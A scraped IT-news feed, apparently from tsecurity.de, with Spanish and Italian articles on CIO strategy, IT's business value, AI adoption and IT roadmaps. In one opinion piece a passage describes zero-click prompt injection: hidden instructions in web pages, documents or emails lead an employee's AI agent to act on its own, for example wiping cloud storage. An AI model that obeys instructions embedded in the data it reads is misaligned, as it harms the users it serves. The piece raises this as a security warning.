<p>Para Johson, los profesionales de TI deben mostrarse como socios comprendiendo realmente lo que ocurre en el negocio, en lugar de esperar a que las partes interesadas acudan a ellos con problemas que resolver.</p>



<p>Por eso considera que “cuando interactúas con tus socios comerciales, aportas ideas y soluciones proactivas. No esperas a que te expongan sus problemas y los pongan en tu lista de tareas pendientes; de lo contrario, te conviertes en nada más que una organización que se limita a tomar nota”.</p>



<p>¿Cómo desarrollar esa comprensión? Muy sencillo: asistiendo a reuniones de negocio, haciendo preguntas y escuchando.</p>



<p>Por eso Joe Locandro, vicepresidente ejecutivo y director de informática global de Rimini Street, anima a su equipo a asistir regularmente a reuniones departamentales.</p>



<p>“Para adquirir ese lenguaje empresarial hay que asistir a reuniones de ejecutivos y ser invitado, ya sea una vez al mes o al trimestre. Eso permite comprender la jerga empresarial y lo que realmente importa”.</p>



<p>Adrienne DeTray, vicepresidenta sénior y directora de informática de Universal Technical Institute, coincide en el argumento: “Acérquese al negocio, tanto física como estratégicamente. Asista a revisiones de la cadena de valor, comprenda la estrategia y los objetivos, participe en reuniones operativas fuera del ámbito técnico. No se pueden alinear los objetivos si no se comprende de dónde viene el negocio y hacia dónde se dirige”.</p>



<p>Para profesionales que dan soporte a departamentos específicos, esto significa pasar tiempo con esos equipos a diario. Por ejemplo, si da soporte a ventas, comprenda cómo funciona el proceso, los puntos débiles a los que se enfrentan los vendedores y cómo miden su éxito trimestral.</p>



<h2 class="wp-block-heading">3. Liderar con el objetivo, no con la solicitud</h2>



<p>En lugar de mantener una mentalidad de “tomar pedidos”, los profesionales de TI deben hacer preguntas profundas sobre lo que necesitan sus socios y qué impulsa esa necesidad, lo que fomenta la resolución de problemas y el enfoque en resultados en lugar de limitarse a implementar soluciones, afirma DeTray.</p>



<p>El equipo de Johnson sigue un enfoque estructurado. Cada mes realizan reuniones de alineación de cartera, donde discuten iniciativas clave con los socios comerciales. “De hecho, hacemos esas preguntas del estilo cuál es el estado objetivo (es decir, el resultado deseado). Y si conocemos ese estado objetivo, podemos mantener conversaciones con ellos sobre lo que se puede hacer de forma proactiva para ayudarles a alcanzarlo”, explica.</p>



<p>Para un equipo financiero que quiere cerrar los libros más rápido, esto podría significar explorar oportunidades de automatización. Para equipos de ventas que luchan con trabajo administrativo, podría implicar crear herramientas que eliminen la introducción repetitiva de datos.</p>



<p>La clave es comprender los objetivos empresariales antes de proponer soluciones técnicas. ¿Cómo se define el éxito para este equipo este trimestre? ¿Cómo miden el progreso? ¿Qué obstáculos se interponen en su camino?</p>



<p>El equipo de datos de Johnson lo ha demostrado al pasar de un enfoque reactivo a proactivo. Al mantener distintas conversaciones con la empresa sobre sus objetivos, el equipo comenzó a sugerir programas para atraer nuevos clientes, identificar oportunidades de expansión y crear copilotos de IA que redujeran el trabajo administrativo del equipo de ventas.</p>



<h2 class="wp-block-heading">4. Centrarse en los resultados, no en las tareas</h2>



<p>Uno de los cambios más efectivos que pueden hacer los profesionales de TI para pasar de “tomadores de pedidos” a asesores estratégicos es modificar la forma en que comunican su trabajo. En lugar de describir lo que hicieron, deben describir lo que ese trabajo permitió lograr.</p>



<p>Locandro, de Rimini Street, observa de manera repetida el antiguo estilo de comunicación basado en tareas en su organización. “Muchos de los informes que se enviaban a la empresa se centraban en actividades: lo ocupados que estaban todos, o “hemos actualizado esto”, o “hemos entregado aquello”… Nadie informaba: “Este es el valor que se ha generado como resultado de esta tarea. Este es el resultado que se ha entregado o se ha podido lograr gracias a esta tarea”.</p>



<p>¿La solución? Pasar de informes basados en actividades a informes basados en valor y resultados. Eliminar jerga técnica y siglas.</p>



<p>“Uno de los cambios más eficaces es pasar de describir la actividad a describir el impacto. Por ejemplo, en lugar de decir “hemos automatizado este proceso”, diga “hemos liberado 200 horas al mes para que el equipo de ventas se concentre en trabajo que genera ingresos”. Este cambio de enfoque, de los insumos a los resultados, replantea el papel de TI como facilitador de la estrategia vinculada a los objetivos empresariales”, afirma Ramos, de Agiloft.</p>



<p>A los líderes de la empresa no les preocupan los detalles técnicos, afirma Christopher Daden, director tecnológico de Criteria Corp. Quieren comprender el propósito del trabajo y el impacto que tendrá.</p>



<p>“Los profesionales de TI deben enmarcar cada iniciativa en términos del problema empresarial que resuelve, el riesgo que reduce o la oportunidad que abre”, añade. “Un lenguaje enfocado en resultados, como cómo una solución mejora la experiencia del cliente, acelera los ingresos o refuerza la escalabilidad, ofrece a los ejecutivos una visión clara del valor”.</p>



<h2 class="wp-block-heading">5. Busque pequeñas victorias que se sumen</h2>



<p>Los profesionales de TI no siempre necesitan grandes proyectos de transformación para marcar una diferencia real. A veces, la decisión más inteligente es centrarse en unas pocas victorias rápidas que ofrezcan resultados inmediatos.</p>



<p>“Las pequeñas cosas pueden sumar una gran cosa. Si identificas cosas pequeñas, victorias rápidas que puedan beneficiar a la organización con la que colaboran, a veces se trata de un proceso que podría automatizarse. Si haces esto para varios pasos de un proceso, de repente habrás automatizado una buena parte del mismo”.</p>



<p>Johnson advierte contra la búsqueda constante de grandes logros. En su opinión, “son más difíciles de encontrar y más difíciles de ejecutar. En un plazo de 30 a 60 días, los profesionales de TI pueden comprender las métricas y los estados objetivo, y luego buscar oportunidades para ayudar, aunque empiecen con cosas pequeñas”.</p>



<p>Ese mismo enfoque de pequeñas victorias también se aplica cuando los equipos de TI miran más allá de los procesos y centran su atención en las herramientas y licencias cotidianas de las que dependen los empleados.</p>



<p>Meg Donovan, directora de personal de Nexthink, empresa que desarrolla software de gestión de la experiencia digital del empleado, explica cómo su equipo de TI proporciona datos sobre el uso real de las herramientas de software en la empresa —y cuáles no se utilizan.</p>



<p>“Creemos que necesitamos esta herramienta. Pero, ¿realmente la necesitamos? ¿Y necesitamos 2.500 licencias? Porque puede mostrarme que sólo están utilizando 10”, admite.</p>



<h2 class="wp-block-heading">6. Medir el impacto, no sólo la finalización</h2>



<p>Demasiados profesionales de TI implementan un proyecto y siguen adelante sin comprobar si realmente ha funcionado. Los profesionales de TI estratégicos se aseguran de hacer un seguimiento completo.</p>



<p>Después de implementar una solución, los equipos de TI deben medir la diferencia entre el estado “antes” y “después” para determinar el impacto real, afirma Johnson. “Veo que muchas empresas no hacen todo lo que deberían en este sentido. Son muy rápidas a la hora de identificar el problema y poner en marcha la solución, pero no dan el paso final, que probablemente es el más importante: ¿ha tenido el impacto que esperaban y están [realmente] midiendo eso?”, añade.</p>



<p>Cuando el impacto no alcanza lo esperado, los profesionales de TI estratégicos no se dan por vencidos. Investigan por qué no se han materializado los resultados esperados y realizan correcciones. A veces, esto significa refinar la solución. Otras veces, significa encontrar un enfoque completamente distinto.</p>



<h2 class="wp-block-heading">7. Utilizar la IA para liberar capacidad estratégica</h2>



<p>La IA no es la estrella del cambio estratégico de TI, pero sin duda puede impulsar el trabajo. El valor real proviene del uso de la IA para manejar tareas repetitivas, de modo que los profesionales de TI tengan más tiempo para abordar problemas de mayor valor.</p>



<p>Según Johnson, muchas áreas de TI están implementando soluciones basadas en agentes para gestionar el soporte de nivel uno, lo que libera tiempo del personal para proyectos que la empresa consideraría de mayor impacto que responder tickets de soporte.</p>



<p>El equipo de Daden en Criteria ha logrado resultados sorprendentes: “Más del 80% de nuestro código de producción ahora es creado por sistemas de IA, lo que ha aumentado la productividad de ingeniería en al menos un 30%. “Al rediseñar los flujos de trabajo e integrar la automatización inteligente, el equipo logró una desviación de tickets superior al 94%, manteniendo e incluso mejorando la satisfacción de los candidatos”.</p>



<p>Los tiempos de respuesta y resolución han mejorado, y el propio trabajo evolucionado, con varios miembros del equipo pasando a desempeñar roles de mayor valor en otras partes de la empresa.</p>



<p>“Los que se quedaron pasaron del soporte transaccional a crear activos de alto rendimiento que hacen que nuestros modelos de IA sean más precisos y más sensibles al contexto”, dice Daden, para añadir: “Pasaron de responder tickets a mejorar la inteligencia del propio sistema, lo que supone una contribución fundamentalmente más estratégica”.</p>



<p>Young, de RightClick, señala un ejemplo de cómo las herramientas de toma de notas con IA pueden facilitar el trabajo del equipo de TI y hacerlo más estratégico. Estas herramientas liberan a los profesionales de TI de la distracción de capturar cada detalle durante las reuniones. En lugar de detenerse a escribir, pueden mantenerse concentrados en la conversación y en las decisiones que se toman. Esto significa que dedican menos tiempo al trabajo administrativo y más tiempo a pensar, resolver problemas y planificar los siguientes pasos, el tipo de trabajo que realmente impulsa el negocio.</p>



<p>“No hay nada peor que estar concentrado y tener que interrumpir ese flujo para tomar notas sobre lo que se está diciendo”, afirma, para concluir: “Estas herramientas de toma de notas con IA permiten que las reuniones fluyan a un ritmo normal y pueden proporcionar al equipo un resumen de acciones y puntos de debate. Son muy valiosas”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 formas de acabar con el valor de TI para la empresa]]></title>
<description><![CDATA[La mayoría de los CIO han comprendido que su función principal consiste en aportar valor al negocio. Luego ya, en un segundo plano, garantizar el tiempo de actividad del sistema y otras métricas operativas. Cada dos años surgen nuevas oportunidades de transformación, y la cuestión clave es si TI ...]]></description>
<link>https://tsecurity.de/de/3202234/it-security-nachrichten/7-formas-de-acabar-con-el-valor-de-ti-para-la-empresa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3202234/it-security-nachrichten/7-formas-de-acabar-con-el-valor-de-ti-para-la-empresa/</guid>
<pubDate>Thu, 08 Jan 2026 16:51:26 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La mayoría de los CIO han comprendido que su función principal consiste en aportar valor al negocio. Luego ya, en un segundo plano, garantizar el tiempo de actividad del sistema y otras métricas operativas. Cada dos años surgen nuevas oportunidades de transformación, y la cuestión clave es si TI está generando valor de forma constante.</p>



<p>El objetivo de las prácticas ágiles, DevOps e ITSM es mejorar las capacidades de entrega y de servicio. Cada implementación exitosa eleva el listón de las expectativas de las partes interesadas. Sin embargo, ya se sabe que no es nada sencillo ofrecer valor de manera sostenida. Entre los problemas más habituales se encuentran la gestión de la rotación de empleados, el trato con socios tecnológicos que no cumplen las expectativas, el equilibrio entre prioridades de seguridad y la gestión de la deuda técnica.</p>



<p>En la actualidad, estas figuras están bajo una creciente presión para generar valor empresarial a partir de la IA generativa. Los altos directivos quieren algo más que experimentos: esperan un retorno de la inversión a corto plazo y un valor estratégico a largo plazo de las iniciativas en inteligencia artificial.</p>



<p>Recientemente he escrito sobre la necesidad de replantear la organización de TI en la era de la IA generativa y sobre cómo es una informática de primera clase. Sin embargo, los CIO también deben estar atentos a las prácticas y comportamientos que destruyen el valor de la TI para la empresa. Los expertos han identificado siete de ellos.</p>



<h2 class="wp-block-heading">1. Apuntar a implementaciones radicales</h2>



<p>El entusiasmo por la IA ha disparado las expectativas de los ejecutivos en torno a la entrega de capacidades de IA generativa. He escuchado a directivos hablar de operaciones autónomas, capacidades avanzadas de IA agéntica y experiencias de cliente altamente personalizadas y habilitadas por IA.</p>



<p>Los departamentos de TI con bajo rendimiento se pueden ver atrapados por las exigencias de las partes interesadas. En cambio, los orientados a producto evitan comprometerse con implementaciones radicales y cuentan con la disciplina necesaria para experimentar, priorizar productos mínimamente viables (MVP) y adoptar una entrega ágil de capacidades que mejoran de forma incremental.</p>



<p>Raj Balasundaram, vicepresidente global de Innovaciones de IA para Clientes de Verint, lo tiene claro: “A la hora de planificar y ejecutar iniciativas de transformación digital, las marcas deben empezar poco a poco y escalar sin fricciones. El objetivo principal debe ser obtener resultados medibles rápidamente, en lugar de esperar a que concluya un proyecto de varios años”.</p>



<p>Recomendación: para los departamentos de TI resultará más fácil colaborar con las partes interesadas en la entrega ágil si las invitan a las revisiones de sprint y programan sesiones frecuentes de <em>brainstorming</em>.</p>



<h2 class="wp-block-heading">2. Defender los POC de IA sin un plan de implementación</h2>



<p>Las empresas líderes en SaaS y seguridad están lanzando agentes de IA para mejorar los flujos de trabajo. Los CIO necesitan experimentar para comprender qué capacidades aportan valor, dónde es necesario mejorar la calidad de los datos y cómo escalar las implantaciones.</p>



<p>Sin embargo, muchos departamentos de TI no trabajan directamente con los usuarios finales durante estos experimentos. Otros no comunican con suficiente claridad un plan ágil que detalle qué se requiere para una implantación completa. El resultado suele ser una brecha entre expectativas o una proliferación de pruebas de concepto (POC) que nunca llegan a producción.</p>



<p>Por lo que, como explica Stéphan Donzé, fundador y CEO de AODocs, “con demasiada frecuencia, los equipos lanzan un piloto llamativo en pocas semanas y, sin querer, enseñan a la empresa que la IA es sencilla e inmediata. Luego todo se ralentiza al enfrentarse a la realidad: sin canales de datos regulados, sin un plan para mantener el conocimiento actualizado, sin controles para evitar fugas de información sensible y sin una estrategia para gestionar los costes del modelo”.</p>



<p>Los proyectos piloto necesitan objetivos claros, y los equipos deben decidir cuándo pivotar o poner fin a los experimentos que no funcionan. Cuando se alcanza un hito con éxito, TI debe contar con un enfoque definido para escalar los pilotos a más datos, usuarios y casos de uso.</p>



<p>Kurt Muehmel, director de Estrategia de IA en Dataiku, añade que es un error considerar un piloto exitoso como prueba de que los agentes funcionarán en producción. “Los pilotos suelen tener éxito porque operan sin restricciones reales, como conjuntos de datos reducidos, usuarios indulgentes y supervisión humana cuando algo falla”.</p>



<p>Recomendación: el departamento de TI debe participar en la redacción de una declaración de visión que defina los criterios de éxito de cualquier POC y, posteriormente, aplicar principios ágiles para gestionar tanto el POC como las distintas fases piloto. Estas disciplinas garantizan la implicación de las partes interesadas y transmiten que la experimentación es solo uno de los hitos del proceso de implementación.</p>



<h2 class="wp-block-heading">3. Centrarse en la implementación y no en la adopción</h2>



<p>Se necesita lograr la aceptación de implementaciones iterativas para ofrecer valor empresarial constante, aunque no es suficiente. No son pocos los equipos de DevOps y ciencia de datos que consideran que han hecho un “buen trabajo” cuando las implementaciones se completan según lo previsto y dentro del alcance definido. Este modo de proceder supone ignorar las responsabilidades de la gestión del cambio en TI, especialmente cuando las capacidades de la IA pueden transformar de forma radical el funcionamiento de los departamentos.</p>



<p>Nik Froehlich, fundador y CEO de Saritasa, señala que “los equipos de TI están altamente cualificados, pero a menudo no son los usuarios finales de los productos que desarrollan y rara vez reciben suficiente <em>feedback</em> de quienes sí lo son. El resultado puede ser soluciones perfectamente funcionales que nadie utiliza. La solución es sencilla: involucrar a los usuarios finales desde el principio y de forma continua, escuchar sus comentarios en cada etapa y crear soluciones que realmente funcionen para quienes las usan”.</p>



<p>Recomendación: una de las razones por las que los CIO deben revisar sus prácticas ágiles en la era de la IA es redefinir el concepto de “terminado”, de modo que los equipos incluyan la adopción y la gestión del cambio como criterios de aceptación a nivel de funcionalidad.</p>



<h2 class="wp-block-heading">4. Prescribir el futuro del trabajo</h2>



<p>Los consejos de administración esperan que los CIO comuniquen un modelo de gobernanza estratégica de la IA que incluya un marco claro sobre cómo deben experimentar los empleados con estas capacidades. La gobernanza debe definir qué herramientas de IA pueden utilizarse, a qué datos se puede acceder y dónde deben compartirse los éxitos, aprendizajes y fracasos de los experimentos.</p>



<p>Los CIO deben asignar arquitectos, responsables de relaciones con el negocio y analistas para apoyar estos experimentos. Sin embargo, cruzar la línea y prescribir los flujos de trabajo departamentales puede traer consigo la destrucción de valor, ya que TI rara vez domina los objetivos operativos y las excepciones de cada proceso.</p>



<p>Brian Madden, vicepresidente y CTO de Citrix, reconoce que “el cambio real hoy es ascendente, impulsado por cómo trabajan realmente las personas, y no por cómo la organización prescribe que deberían trabajar. El modelo de hoja de ruta descendente y plurianual se hizo añicos cuando los empleados empezaron a adoptar herramientas de IA por su cuenta, pero la mayoría de las empresas sigue sin ofrecer una vía segura y regulada para utilizar IA de terceros”.</p>



<p>En caso de no existir una alternativa autorizada, las personas utilizan estas herramientas igualmente, y la adopción no gestionada de la IA incrementa el riesgo sin generar valor estratégico.</p>



<p>Recomendación: los CIO deben comunicar una estrategia descendente, pero también reconocer que muchas transformaciones digitales fracasan porque TI no asume que las operaciones en evolución requieren participación ascendente. Los departamentos de TI deben asignar expertos en procesos formados en Six Sigma para colaborar en los experimentos y guiar la transformación de los flujos de trabajo mediante la colaboración entre agentes de IA y personas.</p>



<h2 class="wp-block-heading">5. Acelerar la deuda técnica al implementar IA</h2>



<p>La proliferación de soluciones SaaS es un problema habitual para muchos departamentos de TI, especialmente cuando está impulsada por responsables de área que seleccionan sus propias herramientas y fomentan prácticas de TI en la sombra. Aunque las organizaciones deben experimentar con IA, la implementación de agentes no autorizados supone un riesgo claro para la seguridad y el cumplimiento normativo.</p>



<p>Weldon Dodd, ingeniero distinguido de Iru, advierte: “Hoy en día, las empresas están adquiriendo múltiples herramientas de IA para resolver problemas concretos. Esta proliferación obligará a los equipos de TI a gestionar un número excesivo de proveedores en los próximos años”.</p>



<p>Los arquitectos de TI deben comunicar estándares y promover el uso de plataformas escalables como estrategias clave. Aunque siempre habrá presión para imponer tecnologías específicas, toca a TI explicar ventajas, inconvenientes, costes de soporte y riesgos asociados a la acumulación de deuda técnica.</p>



<p>En opinión de Yakir Golan, CEO de Kovrr, “el impacto potencial de TI se reduce cuando las iniciativas de IA y datos se desarrollan en el vacío, sin visibilidad de los activos ni una visión compartida de cómo sistemas como la IA generativa crean valor e introducen riesgos. Una gobernanza eficaz depende de comprender las herramientas existentes, los datos con los que interactúan y las implicaciones de su posible fallo”.</p>



<p>Recomendación: aunque las áreas de negocio suelen intentar prescribir soluciones, es responsabilidad de TI formular las preguntas adecuadas y descubrir las necesidades reales. Los CIO deben ayudar a sus equipos a desarrollar visión empresarial, valentía y paciencia para colaborar con las partes interesadas en la consecución de objetivos, en lugar de aceptar demandas tecnológicas como órdenes inapelables.</p>



<h2 class="wp-block-heading">6. Aceptar proyectos puntuales sin soporte continuo</h2>



<p>Cuando los equipos ágiles logran llevar la IA desde la idea hasta la prueba de concepto, la producción y la adopción por parte de los usuarios, no están haciendo más que comenzar a generar valor. Las siguientes fases requieren recopilar <em>feedback</em>, medir resultados y realizar mejoras iterativas alineadas con los criterios de éxito.</p>



<p>Si los equipos quieren iterar y las partes interesadas esperan mejoras constantes, ¿por qué tantas organizaciones siguen cargando con aplicaciones heredadas, deuda técnica y usuarios frustrados que reclaman modernización?</p>



<p>“Muchos equipos de TI no planifican más allá de la implementación inicial y no financian la optimización continua, que incluye pruebas constantes, adopción por parte de los usuarios, gobernanza de datos y mejoras iterativas”, sostiene Pankaj Goel, CEO y cofundador de Opkey, quien añade: “Las transformaciones más sólidas se producen cuando TI pasa de ‘implementar tecnología’ a crear una transformación dinámica que evoluciona con el negocio”.</p>



<p>Recomendación: una responsabilidad clave de la PMO ágil es garantizar la gobernanza financiera junto con los líderes de negocio y el director financiero. Las iniciativas que alcanzan implementaciones exitosas requieren financiación continua para actualizaciones y gestión del ciclo de vida.</p>



<h2 class="wp-block-heading">7. Invertir poco tiempo en el aprendizaje</h2>



<p>Muchos CIO disponen de presupuestos para formación, conferencias y desarrollo del liderazgo. Sin embargo, no basta con suscribirse a programas de aprendizaje, ya que muchos profesionales de TI están sometidos a una fuerte presión y carecen de tiempo para formarse. Además, el desarrollo real de competencias exige experimentación, experiencia práctica y la enseñanza de nuevas habilidades.</p>



<p>Michael Pytel, tecnólogo sénior de VASS, admite que “los equipos de alto rendimiento integran el aprendizaje en sus planes a largo plazo, de modo que el crecimiento de habilidades y la innovación avanzan al mismo tiempo”, por lo que recomienda a los CIO animar “a su equipo a dedicar una hora semanal al aprendizaje, ofrezca reembolsos por tasas de certificación e incentive sesiones de <em>lunch &amp; learn</em> para compartir conocimientos”.</p>



<p>Recomendación: los CIO deben reflexionar tanto sobre cómo la TI puede destruir valor empresarial como de qué manera el liderazgo puede erosionar la cultura tecnológica. No se puede exigir a TI que opere indefinidamente al 130% de su capacidad: es imprescindible crear espacios y periodos de aprendizaje que permitan la evolución de los procesos.</p>



<p>Los CIO que lean este artículo deben reconocer que muchos de los problemas identificados se reducen a la falta de una gobernanza sólida y de un modelo operativo flexible. Además, deben formar a sus líderes para colaborar eficazmente con las partes interesadas, aportando valor empresarial mientras se respetan principios no negociables de gobernanza, operación y corresponsabilidad.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[De la IA a las ciberamenazas, por qué las empresas necesitan revisar urgentemente su organización]]></title>
<description><![CDATA[Se decía que 2025 sería el año de los agentes de IA, pero la realidad empresarial es diferente. Las empresas siguen implementando su ChatGPT interno, conectándolo a sus documentos y apenas están comenzando a experimentar con la tecnología de agentes. En 2026, está claro que la adopción de agentes...]]></description>
<link>https://tsecurity.de/de/3201153/it-security-nachrichten/de-la-ia-a-las-ciberamenazas-por-qu-las-empresas-necesitan-revisar-urgentemente-su-organizacin/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3201153/it-security-nachrichten/de-la-ia-a-las-ciberamenazas-por-qu-las-empresas-necesitan-revisar-urgentemente-su-organizacin/</guid>
<pubDate>Thu, 08 Jan 2026 09:07:08 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Se decía que 2025 sería el año de los agentes de IA, pero la realidad empresarial es diferente. Las empresas siguen implementando su ChatGPT interno, conectándolo a sus documentos y apenas están comenzando a experimentar con la tecnología de agentes. En 2026, está claro que la adopción de agentes de IA y la experimentación seguirán aumentando, con una creciente madurez en los casos de uso y ganancias significativas en eficiencia.</p>



<p>Hay dos tendencias claras para 2026. La primera está impulsada por el <strong>talento</strong>. La fuerte demanda de nuevos perfiles, como ingenieros de IA y gestores de proyectos de IA, continuará y más empresas innovarán en la forma en que se organizan y operan los equipos técnicos y de producto. La segunda está muy subestimada por las empresas. Las <strong>amenazas a la seguridad</strong> seguirán aumentando más rápidamente que las inversiones en este ámbito. No sería de extrañar que se produjeran interrupciones importantes.</p>



<p>Las empresas se están centrando cada vez más en los <strong>agentes de IA</strong>. Están experimentando con la transición de los modelos de generación aumentada por recuperación (RAG) y la simple automatización de flujos de trabajo a sistemas verdaderamente agentivos capaces de realizar operaciones complejas de múltiples pasos. Este cambio está impulsando una importante demanda de talento. El mercado necesita ingenieros que puedan abordar los retos de ingeniería fundamentales necesarios para que estos agentes estén listos para la producción. El reto actual no es la capacidad de los grandes modelos de lenguaje en sí mismos, sino lograr una verdadera madurez arquitectónica y un impacto empresarial. Para implementar los agentes de forma responsable, debemos resolver difíciles obstáculos de ingeniería, como la gestión del estado (dotar a los agentes de una memoria fiable y a largo plazo), garantizar la responsabilidad (registros auditables de cada decisión que toma un sistema autónomo) y gestionar la seguridad no determinista (gestionar el riesgo cuando el resultado de un sistema es intrínsecamente variable). Las empresas aseguren una ventaja competitiva en 2026 serán aquellas que dominen la puesta en marcha de estos nuevos sistemas complejos, pero potentes.</p>



<p>Este cambio tecnológico está obligando a una innovación profunda y necesaria en la forma en que se organizan y operan los equipos técnicos y de productos. La fuerte demanda de talento en IA significa que la antigua estructura, caracterizada por equipos aislados de ciencia de datos, ingeniería e infraestructura, se está volviendo obsoleta. Las empresas buscan agresivamente al ingeniero de software de IA, un perfil versátil que une a la perfección el desarrollo de productos, la ingeniería de datos y la gestión de la infraestructura central. La transición nos está llevando hacia equipos más pequeños, con gran capacidad de acción y ciclo completo, que se encargan de todo el proceso, desde la fuente de datos hasta la implementación de la producción, lo que hace que la antigua descripción del puesto ‘solo <em>backend</em>‘ quede obsoleta. Esta evolución organizativa es fundamental para la velocidad. Vemos cómo los líderes tecnológicos se encaminan hacia una jerarquía más plana y una necesaria integración de la experiencia en datos e IA desde el principio, lo que facilita la rápida iteración y la comunicación interfuncional que exige el acelerado ciclo de vida de los productos de IA. Funciones como las de gestor de proyectos de IA y especialista en operaciones de IA (AIOps) se convertirán en habituales, lo que refleja el nuevo enfoque en la gestión de procesos y flujos de trabajo específicos de la IA.</p>



<p>Sin embargo, este cambio organizativo sistémico se está produciendo en un <strong>contexto de escalada de las amenazas cibernéticas externas</strong>. El riesgo más urgente en 2026 es la capacidad abrumadora que la IA otorga a los atacantes. Esta dinámica se ve confirmada por el <a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-v2025.pdf" target="_blank" rel="nofollow">Top 10 de OWASP para aplicaciones LLM (2025)</a>, que clasifica la inyección de comandos como el riesgo crítico número uno para los sistemas basados en LLM. La capacidad de escalado de la IA significa que los delincuentes pueden generar correos electrónicos de phishing hiperpersonalizados, sortear las barreras lingüísticas y producir códigos maliciosos complejos con una eficiencia y velocidad sin precedentes.</p>



<p>Es fundamental señalar que la proliferación de herramientas de IA dentro de la empresa introduce vectores de amenaza completamente nuevos e insidiosos, incluso si la adopción interna es cautelosa. Ya hemos visto las graves consecuencias de este cambio: Anthropic detectó y frustró recientemente un ciberataque a gran escala en el que un agente de IA malicioso gestionó de forma autónoma hasta el 90% de las operaciones tácticas, lo que confirma que la IA está realizando ahora el trabajo de equipos enteros de hackers humanos a la velocidad de una máquina. Del mismo modo, el uso de asistentes de IA empresariales crea vulnerabilidades a la inyección de comandos sin clic, en la que los atacantes incrustan instrucciones maliciosas ocultas en datos no fiables, una página web, un documento o un correo electrónico. Estas instrucciones pueden ser ingeridas inadvertidamente por el agente de IA de un empleado y ejecutadas de forma autónoma, lo que puede tener graves consecuencias, como la reciente demostración del ‘Zero-Click Agentic Wiper’, que podía activarse para borrar todo el contenido del almacenamiento en la nube del usuario sin ninguna confirmación. Este único ejemplo pone de relieve el riesgo de conceder demasiada autonomía a las herramientas expuestas a cualquier nivel de datos externos.</p>



<p><strong>El año 2026 será decisivo para la IA en el entorno empresarial</strong>. La urgencia no reside sólo en acelerar la implementación de agentes de IA, sino en reconocer y contrarrestar la enorme amenaza externa que se ha subestimado. Las empresas que logren alinear eficazmente la innovación en IA con la agilidad organizativa y la inversión proactiva en seguridad serán las que lideren la transformación en este nuevo panorama tecnológico.</p>



&gt;<figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/claire-lebarz.jpg?quality=50&amp;strip=all" alt="Claire Lebarz (Malt)" class="wp-image-4113869 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p>&gt;<em><strong><a href="https://www.linkedin.com/in/clairelebarz/" target="_blank" rel="nofollow">Claire Lebarz</a> es Chief Technology Officer de Malt, el mayor </strong></em><strong><em>marketplace </em></strong>&gt;<em><strong>de </strong></em><strong><em>freelancers </em></strong>&gt;<em><strong>de Europa con una comunidad de 200.000 expertos en tecnología y datos. Dentro de la compañía, Claire Lebarz dirige un equipo tecnológico de 100 personas. Antes de incorporarse a Malt, trabajó durante seis años en Airbnb, en los equipos directivos encargados de los datos, y también pasó más de diez años en San Francisco, desarrollando productos de IA en empresas emergentes.</strong></em></p>
</div></div>



<p></p>
</div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I CIO dovrebbero ripensare la roadmap IT?]]></title>
<description><![CDATA[Sviluppare una roadmap, nel mondo dei CIO (Chief Information Officer), significava pensare a cinque o dieci anni avanti riguardo alle tendenze tecnologiche e poi pianificare e prepararsi per esse.



Ma con tecnologie impreviste e immediatamente dirompenti che diventano un fatto dell’IT di oggi, ...]]></description>
<link>https://tsecurity.de/de/3200899/it-security-nachrichten/i-cio-dovrebbero-ripensare-la-roadmap-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3200899/it-security-nachrichten/i-cio-dovrebbero-ripensare-la-roadmap-it/</guid>
<pubDate>Thu, 08 Jan 2026 06:05:31 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Sviluppare una roadmap, nel mondo dei CIO (Chief Information Officer), significava pensare a cinque o dieci anni avanti riguardo alle tendenze tecnologiche e poi pianificare e prepararsi per esse.</p>



<p>Ma con tecnologie impreviste e immediatamente dirompenti che diventano un fatto dell’IT di oggi, inclusa la necessità di difendersi da esse in un batter d’occhio, sviluppare roadmap tecnologiche diventa molto più che pianificare aggiornamenti a tecnologie e sistemi obsoleti. La complessità e la lungimiranza coinvolte riducono notevolmente l’orizzonte delle aspettative del CIO, <a href="https://www.cio.com/article/3618308/whatever-happened-to-the-three-year-it-roadmap.html"><strong>rendendo una sfida stabilire anche un orizzonte temporale IT di tre anni [in inglese]</strong></a>.</p>



<p>Cosa comporta esattamente creare una roadmap IT oggi, e come possono i CIO garantire che le roadmap che realizzano rimangano rilevanti? Ecco come ripensare il vostro approccio data la strada accidentata che vi attende.</p>



<h2 class="wp-block-heading">Prepararsi alla disruption (interruzione/sconvolgimento)</h2>



<p>La pianificazione della roadmap IT dipende ancora dalla comprensione dell’attuale panorama tecnico e dalla proiezione delle implicazioni a lungo termine dei cambiamenti previsti negli anni a venire. Al momento, l’AI (Intelligenza Artificiale) appare come la forza più impattante sui sistemi IT e sulle operazioni aziendali nei prossimi 10 anni. La sua continua evoluzione risulterà in una maggiore automazione e cambiamenti nell’interfaccia uomo-macchina che faranno sembrare le operazioni aziendali, anche tra soli cinque anni, piuttosto diverse da come sono oggi. L’intelligenza artificiale in sé è un importante elemento di disturbo per le operazioni e i sistemi per cui bisognerà pianificare.</p>



